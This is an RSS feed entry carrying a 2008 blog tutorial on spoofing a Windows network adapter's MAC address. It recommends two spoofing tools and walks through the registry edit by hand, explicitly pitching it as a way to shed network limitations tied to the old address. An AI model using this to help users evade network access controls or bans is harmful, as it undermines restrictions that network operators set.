		<guid isPermaLink="false">http://plasmid.co.uk/2008/03/09/spoof-your-network-adapter-mac-address-under-windows/</guid>
		<description><![CDATA[Overriding (or spoofing) your NIC / network adapter MAC address can be immensely useful for a number of reasons when using your PC on a large network. In essence you're creating a new identity for your box and any limitations associated with your previous MAC will no longer affect you! This tutorial will introduce some [...]]]></description>
			<content:encoded><![CDATA[<p>Overriding (or spoofing) your <abbr title="Network Interface Card">NIC</abbr> / network adapter MAC address can be immensely useful for a number of reasons when using your PC on a large network. In essence you're creating a new identity for your box and any limitations associated with your previous MAC will no longer affect you! This tutorial will introduce some of the currently existing programs that can automate MAC address spoofing for you, as well as the necessary registry modifications to perform the task manually.</p>
<p>I came across <a href="http://www.irongeek.com/i.php?page=security/madmacs-mac-spoofer">MadMACs</a> some time ago and it has become an invaluable part of my portable network security. Recently I've been looking to see what else is out there and found <a href="http://www.gorlani.com/publicprj/macmakeup/macmakeup.asp">Mac MakeUp</a> which provides a number of advanced features (integration with Wireshark, IP networking options, etc.) and has a straightforward graphical interface.</p>
<p>Both programs have been tested thoroughly and work a treat, but if you feel the only way to do a job properly is to do it yourself, then here is the step by step to DIY MAC spoofage:</p>
<ol>
<li>Click Start-&gt;Run and enter 'regedt32' (no ' marks) to start up the registry editor.</li>
<li>Find the key:<br />
<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\<br />
Class\{4D36E972-E325-11CE-BFC1-08002bE10318}</code><br />
and you should have a list of 4 digit subkeys (0000, 0001, 0002 etc.)</li>
<li>Leaving the registry editor window open, go to Start-&gt;Run and enter 'cmd /k net config rdr' (no ' marks).</li>
<li>The console should list your PC and network details. Right click the start of the text next to NetBT_tcpip (the bit that looks like: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}) and right click-&gt;select 'Mark'. Drag over the whole text (as shown in the brackets previously) and then press CTRL+C to copy to the clipboard.</li>
<li>Go back to the registry editor and click on the first subkey (i.e. 0000).</li>
<li>Click menu Edit-&gt;Find (or press CTRL+F). Paste in the text from the console and click 'Find next'.</li>
<li>It should return a result very quickly (if not - you've done something wrong!).</li>
<li>Right click anywhere on the right hand side pane apart from on one of the listed items and choose 'New-&gt;String'. Give the value the name 'NetworkAddress' (case sensitive, no ' marks) then simply double click it and enter a new MAC address!</li>
<li>Reboot your machine and enjoy!</li>
</ol>
<p>For more information, check <a href="http://en.wikipedia.org/wiki/MAC_address">this</a> Wikipedia article on MAC addresses.</p>
]]></content:encoded>
			<wfw:commentRss>http://plasmid.co.uk/2008/03/09/spoof-your-network-adapter-mac-address-under-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.257 seconds -->
